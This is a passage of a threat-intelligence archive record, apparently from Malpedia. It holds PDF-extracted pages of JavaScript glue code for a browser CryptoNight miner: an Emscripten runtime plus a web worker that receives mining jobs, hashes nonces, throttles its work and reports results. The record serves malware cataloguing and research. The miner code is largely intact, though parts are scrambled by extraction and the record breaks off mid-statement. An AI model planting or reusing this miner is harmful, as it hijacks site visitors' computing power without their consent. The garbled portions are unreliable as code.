=\nFS.getStream(SYSCALLS.get()); if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);   return stream }),\ngetSocketFromFD: (function() { var socket = SOCKFS.getSocket(SYSCALLS.get());  if (!socket) throw new\nFS.ErrnoError(ERRNO_CODES.EBADF);  return socket }), getSocketAddress: (function(allowNull)  { var addrp =\nSYSCALLS.get(), addrlen = SYSCALLS.get(); if (allowNull \u0026\u0026 addrp === 0) return null; var info =\n__read_sockaddr(addrp, addrlen); if (info.errno) throw new FS.ErrnoError(info.errno);  info.addr = \nDNS.lookup_addr(info.addr) || info.addr; return info }), get64: (function() { var low = SYSCALLS.get(), high =\nSYSCALLS.get(); if (low \u003e= 0) assert(high === 0); else assert(high ===-1); return low }), getZero: (function() {\nassert(SYSCALLS.get() === 0) }) }; function ___syscall20(which, varargs) { SYSCALLS.varargs  = varargs; try { return\nPROCINFO.pid } catch (e) { if (typeof FS === \"undefined\" || !(e instanceof FS.ErrnoError)) abort(e); return-e.errno } } var\n___tm_current = STATICTOP; STATICTOP += 48; var ___tm_timezone = allocate(intArrayFromString(\"GMT\"),  \"i8\",\nALLOC_STATIC); function _gmtime_r(time, tmPtr) { var date = new Date(HEAP32[time \u003e\u003e 2] * 1e3); HEAP32[tmPtr \u003e\u003e\n2] = date.getUTCSeconds(); HEAP32[tmPtr + 4 \u003e\u003e 2] = date.getUTCMinutes();  HEAP32[tmPtr + 8 \u003e\u003e 2] =\ndate.getUTCHours(); HEAP32[tmPtr + 12 \u003e\u003e 2] = date.getUTCDate(); HEAP32[tmPtr + 16 \u003e\u003e 2] = date.getUTCMonth();\nHEAP32[tmPtr + 20 \u003e\u003e 2] = date.getUTCFullYear() -1900; HEAP32[tmPtr + 24 \u003e\u003e 2] = date.getUTCDay(); \nHEAP32[tmPtr + 36 \u003e\u003e 2] = 0; HEAP32[tmPtr + 32 \u003e\u003e 2] = 0; var start = Date.UTC(date.getUTCFullYear(),  0, 1, 0, 0, 0,\n0); var yday = (date.getTime() -start) / (1e3 * 60 * 60 * 24) | 0; HEAP32[tmPtr + 28 \u003e\u003e 2] = yday; HEAP32[tmPtr + 40 \u003e\u003e\n2] = ___tm_timezone; return tmPtr } function _gmtime(time) { return _gmtime_r(time, ___tm_current) } function ___lock()\n{} function ___unlock() {} function ___syscall6(which, varargs) { SYSCALLS.varargs = varargs; try { var stream =\nSYSCALLS.getStreamFromFD(); FS.close(stream); return 0 } catch (e) { if (typeof FS === \"undefined\" || !(e instanceof\nFS.ErrnoError)) abort(e); return-e.errno } } function _emscripten_memcpy_big(dest,  src, num) { \nHEAPU8.set(HEAPU8.subarray(src, src + num), dest); return dest } function _ftime(p) { var millis = Date.now();\nHEAP32[p \u003e\u003e 2] = millis / 1e3 | 0; HEAP16[p + 4 \u003e\u003e 1] = millis % 1e3; HEAP16[p + 6 \u003e\u003e 1] = 0; HEAP16[p + 8 \u003e\u003e 1] =\n0; return 0 } function ___syscall140(which, varargs) { SYSCALLS.varargs = varargs; try { var stream =\nSYSCALLS.getStreamFromFD(), offset_high = SYSCALLS.get(), offset_low = SYSCALLS.get(), result =\nSYSCALLS.get(), whence = SYSCALLS.get(); var offset = offset_low; FS.llseek(stream, offset, whence); HEAP32[result\n\u003e\u003e 2] = stream.position; if (stream.getdents \u0026\u0026 offset === 0 \u0026\u0026 whence === 0) stream.getdents = null; return 0 } catch (e)\n{ if (typeof FS === \"undefined\" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } function ___syscall146(which,\nvarargs) { SYSCALLS.varargs = varargs; try { var stream = SYSCALLS.getStreamFromFD(), iov = SYSCALLS.get(),\niovcnt = SYSCALLS.get(); return SYSCALLS.doWritev(stream,  iov, iovcnt) } catch (e) { if (typeof FS === \"undefined\" || !\n(e instanceof FS.ErrnoError)) abort(e); return-e.errno } } function ___syscall54(which, varargs) { SYSCALLS.varargs =\nvarargs; try { var stream = SYSCALLS.getStreamFromFD(),  op = SYSCALLS.get(); switch (op) { case 21505: { if\n(!stream.tty) return -ERRNO_CODES.ENOTTY; return 0 }; case 21506: { if (!stream.tty) return- \nERRNO_CODES.ENOTTY; return 0 }; case 21519: { if (!stream.tty) return-ERRNO_CODES.ENOTTY;  var argp =\nSYSCALLS.get();HEAP32[argp \u003e\u003e 2] = 0; return 0 }; case 21520: { if (!stream.tty) return-ERRNO_CODES.ENOTTY; \nreturn-ERRNO_CODES.EINVAL }; case 21531: { var argp = SYSCALLS.get(); return FS.ioctl(stream, op, argp) }; case\n21523: { if (!stream.tty) return-ERRNO_CODES.ENOTTY;  return 0 }; default: abort(\"bad ioctl syscall \" + op) } } catch (e)\n{ if (typeof FS === \"undefined\" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } FS.staticInit(); \n__ATINIT__.unshift((function() { if (!Module.noFSInit \u0026\u0026 !FS.init.initialized) FS.init() })); \n  Page 17 of 20  \n\nNODEFS.staticInit() Runtime.alignMemory(STATICTOP); } DYNAMICTOP_PTR = STACK_MAX allocate(1, \"i32\", ALLOC_STATIC); = STACK_BASE STACK_BASE + TOTAL_STACK; = STACKTOP DYNAMIC_BASE = =\nRuntime.alignMemory(STACK_MAX); HEAP32[DYNAMICTOP_PTR  \u003e\u003e 2] = DYNAMIC_BASE; staticSealed = !0;\nModule.wasmTableSize = 14; Module.wasmMaxTableSize = 14; function invoke_ii(index, a1) { try { return \nModule.dynCall_ii(index, a1) } catch (e) { if (typeof e !== \"number\" \u0026\u0026 e !== \"longjmp\") throw e; Module.setThrew(1, 0)\n} } function invoke_iiii(index, a1, a2, a3) { try { return Module.dynCall_iiii(index, a1, a2, a3) } catch (e) { if (typeof e !==\n\"number\" \u0026\u0026 e !== \"longjmp\") throw e; Module.setThrew(1, 0) } } function invoke_viii(index, a1, a2, a3) { try {\nModule.dynCall_viii(index, a1, a2, a3) } catch (e) { if (typeof e !== \"number\" \u0026\u0026 e !== \"longjmp\") throw e; \nModule.setThrew(1, 0) } } Module.asmGlobalArg = { \"Math\": Math, \"Int8Array\": Int8Array, \"Int16Array\": Int16Array,\n\"Int32Array\": Int32Array, \"Uint8Array\": Uint8Array, \"Uint16Array\": Uint16Array, \"Uint32Array\": Uint32Array, \n\"Float32Array\": Float32Array, \"Float64Array\": Float64Array, \"NaN\": NaN, \"Infinity\": Infinity }; Module.asmLibraryArg =\n{ \"abort\": abort, \"assert\": assert, \"enlargeMemory\": enlargeMemory, \"getTotalMemory\":  getTotalMemory, \n\"abortOnCannotGrowMemory\": abortOnCannotGrowMemory, \"invoke_ii\": invoke_ii, \"invoke_iiii\": invoke_iiii, \n\"invoke_viii\": invoke_viii, \"_gmtime_r\": _gmtime_r, \"_gmtime\": _gmtime, \"___lock\": ___lock, \"___syscall6\": ___syscall6,\n\"___setErrNo\": ___setErrNo, \"___unlock\": ___unlock, \"_ftime\": _ftime, \"_emscripten_memcpy_big\":  \n_emscripten_memcpy_big, \"___syscall54\": ___syscall54, \"___syscall140\": ___syscall140, \"___syscall20\": ___syscall20, \n\"___assert_fail\": ___assert_fail, \"___syscall146\": ___syscall146, \"DYNAMICTOP_PTR\":  DYNAMICTOP_PTR, \n\"tempDoublePtr\": tempDoublePtr, \"ABORT\": ABORT, \"STACKTOP\": STACKTOP, \"STACK_MAX\": STACK_MAX };\nvar asm = Module.asm(Module.asmGlobalArg,  Module.asmLibraryArg, buffer); Module.asm = asm; var _cryptonight_hash \n= Module._cryptonight_hash = (function() { return Module.asm._cryptonight_hash.apply(null,  arguments) }); var\ngetTempRet0 = Module.getTempRet0 = (function() { return Module.asm.getTempRet0.apply(null,  arguments) }); var _free\n= Module._free = (function() { return Module.asm._free.apply(null, arguments) }); var runPostSets = Module.runPostSets =\n(function() { return Module.asm.runPostSets.apply(null, arguments) }); var setTempRet0 = Module.setTempRet0 =\n(function() { return Module.asm.setTempRet0.apply(null, arguments) }); var establishStackSpace = \nModule.establishStackSpace = (function() { return Module.asm.establishStackSpace.apply(null,  arguments) }); var\n_memmove = Module._memmove = (function() { return Module.asm._memmove.apply(null,  arguments) }); var stackSave\n= Module.stackSave = (function() { return Module.asm.stackSave.apply(null,  arguments) }); var _memset = \nModule._memset = (function() { return Module.asm._memset.apply(null,  arguments) }); var _malloc = Module._malloc =\n(function() { return Module.asm._malloc.apply(null, arguments) }); var _cryptonight_create = Module._cryptonight_create \n= (function() { return Module.asm._cryptonight_create.apply(null, arguments) }); var _memcpy = Module._memcpy =\n(function() { return Module.asm._memcpy.apply(null, arguments) }); var _emscripten_get_global_libc = \nModule._emscripten_get_global_libc = (function() { return Module.asm._emscripten_get_global_libc.apply(null,   \narguments) }); var stackAlloc = Module.stackAlloc = (function() { return Module.asm.stackAlloc.apply(null,  arguments) });\nvar setThrew = Module.setThrew = (function() { return Module.asm.setThrew.apply(null,  arguments) }); var _sbrk =\nModule._sbrk = (function() { return Module.asm._sbrk.apply(null, arguments) }); var _fflush = Module._fflush = (function()\n{ return Module.asm._fflush.apply(null, arguments) }); var stackRestore = Module.stackRestore = (function() { return\nModule.asm.stackRestore.apply(null, arguments) }); var _cryptonight_destroy = Module._cryptonight_destroy  = (function()\n{ return Module.asm._cryptonight_destroy.apply(null,  arguments) }); var ___errno_location = Module.___errno_location =\n(function() { return Module.asm.___errno_location.apply(null, arguments) }); var dynCall_ii = Module.dynCall_ii =\n(function() { return Module.asm.dynCall_ii.apply(null, arguments) }); var dynCall_iiii = Module.dynCall_iiii = (function() {\nreturn Module.asm.dynCall_iiii.apply(null, arguments) }); var dynCall_viii = Module.dynCall_viii = (function() { return\nModule.asm.dynCall_viii.apply(null, arguments) }); Runtime.stackAlloc = Module.stackAlloc; Runtime.stackSave =\nModule.stackSave; Runtime.stackRestore = Module.stackRestore; Runtime.establishStackSpace  = \nModule.establishStackSpace; Runtime.setTempRet0 = Module.setTempRet0; Runtime.getTempRet0 = \nModule.getTempRet0; Module.asm = asm; if (memoryInitializer) { if (typeof Module.locateFile === \"function\") {\nmemoryInitializer = Module.locateFile(memoryInitializer) } else if (Module.memoryInitializerPrefixURL)  { \nmemoryInitializer = Module.memoryInitializerPrefixURL + memoryInitializer } if (ENVIRONMENT_IS_NODE  ||\nENVIRONMENT_IS_SHELL) { var data = Module.readBinary(memoryInitializer);  HEAPU8.set(data,  \nRuntime.GLOBAL_BASE) } else { addRunDependency(\"memory initializer\"); var applyMemoryInitializer  =\n(function(data) { var barf = Uint8Array.from(atob(raw), c =\u003e c.charCodeAt(0)) HEAPU8.set(barf,  \nRuntime.GLOBAL_BASE); if (Module.memoryInitializerRequest) delete Module.memoryInitializerRequest.response;  \nremoveRunDependency(\"memory initializer\") }); function doBrowserLoad() { setTimeout(function() { \napplyMemoryInitializer() }, 20) } if (Module.memoryInitializerRequest)  { function useRequest() { var request =\nModule.memoryInitializerRequest; if (request.status !== 200 \u0026\u0026 request.status !== 0) { console.warn(\"a problem seems to\nhave happened with Module.memoryInitializerRequest, status: \" + request.status + \", retrying \" + memoryInitializer); \ndoBrowserLoad(); return } applyMemoryInitializer(request.response) } if (Module.memoryInitializerRequest.response)  {\nsetTimeout(useRequest, 0) } else { Module.memoryInitializerRequest.addEventListener(\"load\",   useRequest) } } else {\ndoBrowserLoad() } } } function ExitStatus(status) { this.name = \"ExitStatus\"; this.message = \"Program terminated with\n  Page 18 of 20   \n\n(!Module.calledRun) Module.callMain run(); if (!Module.calledRun) = function callMain(args) dependenciesFulfilled { args = args || = runCaller []; ensureInitRuntime(); }; Module.callMain var argc = args.length = + 1; function pad()\n{ for (var i = 0; i \u003c 4-1; i++) { argv.push(0) } } var argv = [allocate(intArrayFromString(Module.thisProgram),  \"i8\",\nALLOC_NORMAL)]; pad(); for (var i = 0; i \u003c argc-1; i = i + 1) { argv.push(allocate(intArrayFromString(args[i]),  \"i8\",\nALLOC_NORMAL)); pad() } argv.push(0); argv = allocate(argv, \"i32\", ALLOC_NORMAL); try { var ret =\nModule._main(argc, argv, 0); exit(ret, !0) } catch (e) { if (e instanceof ExitStatus) { return } else if (e ==\n\"SimulateInfiniteLoop\") { Module.noExitRuntime = !0; return } else { var toLog = e; if (e \u0026\u0026 typeof e === \"object\" \u0026\u0026\ne.stack) { toLog = [e, e.stack] } Module.printErr(\"exception  thrown: \" + toLog); Module.quit(1, e) } } finally { calledMain =\n!0 } }; function run(args) { args = args || Module[\"arguments\"]; if (preloadStartTime === null) preloadStartTime =\nDate.now(); if (runDependencies \u003e 0) { return } preRun(); if (runDependencies \u003e 0) return; if (Module.calledRun) return;\nfunction doRun() { if (Module.calledRun) return; Module.calledRun = !0; if (ABORT) return; ensureInitRuntime(); \npreMain(); if (Module.onRuntimeInitialized)  Module.onRuntimeInitialized();  if (Module._main \u0026\u0026 shouldRunNow)\nModule.callMain(args); postRun() } if (Module.setStatus) { Module.setStatus(\"Running...\"); setTimeout((function() {\nsetTimeout((function() { Module.setStatus(\"\") }), 1); doRun() }), 1) } else { doRun() } } Module.run = Module.run = run;\nfunction exit(status, implicit) { if (implicit \u0026\u0026 Module.noExitRuntime) { return } if (Module.noExitRuntime) {} else {\nABORT = !0; EXITSTATUS = status; STACKTOP = initialStackTop; exitRuntime(); if (Module.onExit) \nModule.onExit(status) } if (ENVIRONMENT_IS_NODE)  { process.exit(status) } Module.quit(status, new\nExitStatus(status)) } Module.exit = Module.exit = exit; var abortDecorators = []; function abort(what) { if (Module.onAbort)\n{ Module.onAbort(what) } if (what !== undefined) { Module.print(what); Module.printErr(what);  what =\nJSON.stringify(what) } else { what = \"\" } ABORT = !0; EXITSTATUS = 1; var extra = \"\\\\nIf this abort() is unexpected,\nbuild with-s ASSERTIONS=1 which can give more information.\"; var output = \"abort(\" + what + \") at \" + stackTrace() +\nextra; if (abortDecorators) { abortDecorators.forEach((function(decorator)  { output = decorator(output, what) })) } throw\noutput } Module.abort = Module.abort = abort; if (Module.preInit) { if (typeof Module.preInit == \"function\")\nModule.preInit = [Module.preInit]; while (Module.preInit.length \u003e 0) { Module.preInit.pop()()  } } var shouldRunNow = !0;\nif (Module.noInitialRun) { shouldRunNow = !1 } run(); var CWW = (function() { this.ctx = _cryptonight_create(); \nthis.throttleWait = 0; this.throttledStart = 0; this.throttledHashes = 0; this.workThrottledBound = \nthis.workThrottled.bind(this); this.currentJob = null; this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255]);\nvar heap = Module.HEAPU8.buffer; this.input = new Uint8Array(heap, Module._malloc(84), 84); this.output = new\nUint8Array(heap, Module._malloc(32), 32); self.postMessage(\"ready\"); self.onmessage = this.onMessage.bind(this) });\nCWW.prototype.onMessage = (function(msg) { var job = msg.data; if (job.verify_id) { this.verify(job); return } if\n(!this.currentJob || this.currentJob.job_id !== job.job_id) { this.setJob(job) } if (job.throttle) { this.throttleWait = 1 / (1-\njob.throttle)-1; this.throttledStart = this.now(); this.throttledHashes = 0; this.workThrottled() } else { this.work() } });\nCWW.prototype.destroy = (function() { _cryptonight_destroy(this.ctx) }); CWW.prototype.hexToBytes  = (function(hex,\nbytes) { var bytes = new Uint8Array(hex.length / 2); for (var i = 0, c = 0; c \u003c hex.length; c += 2, i++) { bytes[i] =\nparseInt(hex.substr(c, 2), 16) } return bytes }); CWW.prototype.bytesToHex = (function(bytes) { for (var hex = \"\", i = 0; i \u003c\nbytes.length; i++) { hex += (bytes[i] \u003e\u003e\u003e 4).toString(16); hex += (bytes[i] \u0026 15).toString(16) } return hex });\nCWW.prototype.meetsTarget = (function(hash, target) { for (var i = 0; i \u003c target.length; i++) { var hi = hash.length-i-1, ti\n= target.length- i-1; if (hash[hi] \u003e target[ti]) { return !1 } else if (hash[hi] \u003c target[ti]) { return !0 } } return !1 });\nCWW.prototype.setJob = (function(job) { this.currentJob = job; this.blob = this.hexToBytes(job.blob);  \nthis.input.set(this.blob); var target = this.hexToBytes(job.target);  if (target.length \u003c= 8) { for (var i = 0; i \u003c target.length; i++)\n{ this.target[this.target.length -i-1] = target[target.length -i-1] } for (var i = 0; i \u003c this.target.length -target.length; i++) {\nthis.target[i] = 255 } } else { this.target = target } }); CWW.prototype.now = (function() { return self.performance ?\nself.performance.now() : Date.now() }); CWW.prototype.hash = (function(input, output, length) { var nonce =\nMath.random() * 4294967295 + 1 \u003e\u003e\u003e 0; this.input[39] = (nonce \u0026 4278190080) \u003e\u003e 24; this.input[40] = (nonce \u0026\n16711680) \u003e\u003e 16; this.input[41] = (nonce \u0026 65280) \u003e\u003e 8; this.input[42] = (nonce \u0026 255) \u003e\u003e 0; _cryptonight_hash(this.ctx,\ninput.byteOffset, output.byteOffset, length) }); CWW.prototype.verify = (function(job) { this.blob =\nthis.hexToBytes(job.blob); this.input.set(this.blob); for (var i = 0, c = 0; c \u003c job.nonce.length; c += 2, i++) { this.input[39 +\ni] = parseInt(job.nonce.substr(c, 2), 16) } _cryptonight_hash(this.ctx, this.input.byteOffset, this.output.byteOffset, \nthis.blob.length); var result = this.bytesToHex(this.output);  self.postMessage({ verify_id: job.verify_id, verified: result ===\njob.result }) }); CWW.prototype.work  = (function() { var hashes = 0; var meetsTarget = !1; var start = this.now(); var\nelapsed = 0; do { this.hash(this.input, this.output, this.blob.length); hashes++; meetsTarget = this.meetsTarget(this.output, \nthis.target); elapsed = this.now()-start } while (!meetsTarget \u0026\u0026 elapsed \u003c 1e3); var hashesPerSecond = hashes / (elapsed /\n1e3); if (meetsTarget) { var nonceHex = this.bytesToHex(this.input.subarray(39,  43)); var resultHex =\nthis.bytesToHex(this.output); self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: hashes, job_id:\nthis.currentJob.job_id, nonce: nonceHex, result: resultHex }) } else { self.postMessage({ hashesPerSecond: \nhashesPerSecond, hashes: hashes }) } }); CWW.prototype.workThrottled = (function() { var start = this.now();\nthis.hash(this.input, this.output, this.blob.length); var end = this.now(); var timePerHash = end- start;\nthis.throttledHashes++; var elapsed = end-this.throttledStart; var hashesPerSecond = this.throttledHashes / (elapsed / 1e3);\nif (this.meetsTarget(this.output, this.target)) { var nonceHex = this.bytesToHex(this.input.subarray(39,  43)); var resultHex =\nthis.bytesToHex(this.output); self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: this.throttledHashes, job_id:\nthis.currentJob.job_id, nonce: nonceHex, result: resultHex }); this.throttledHashes = 0 } else if (elapsed \u003e 1e3) {\nself.postMessage({ hashesPerSecond: hashesPerSecond, hashes: this.throttledHashes }); this.throttledHashes = 0 } else { var\n  Page 19 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec"
	],
	"report_names": [
		"112483eb9aed27dd2184966711c722ec"
	],
	"threat_actors": [],
	"ts_created_at": 1775434854,
	"ts_updated_at": 1775791256,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/02d3f858ed056516c4c5c24bb6f10efb92472413.pdf",
		"text": "https://archive.orkl.eu/02d3f858ed056516c4c5c24bb6f10efb92472413.txt",
		"img": "https://archive.orkl.eu/02d3f858ed056516c4c5c24bb6f10efb92472413.jpg"
	}
}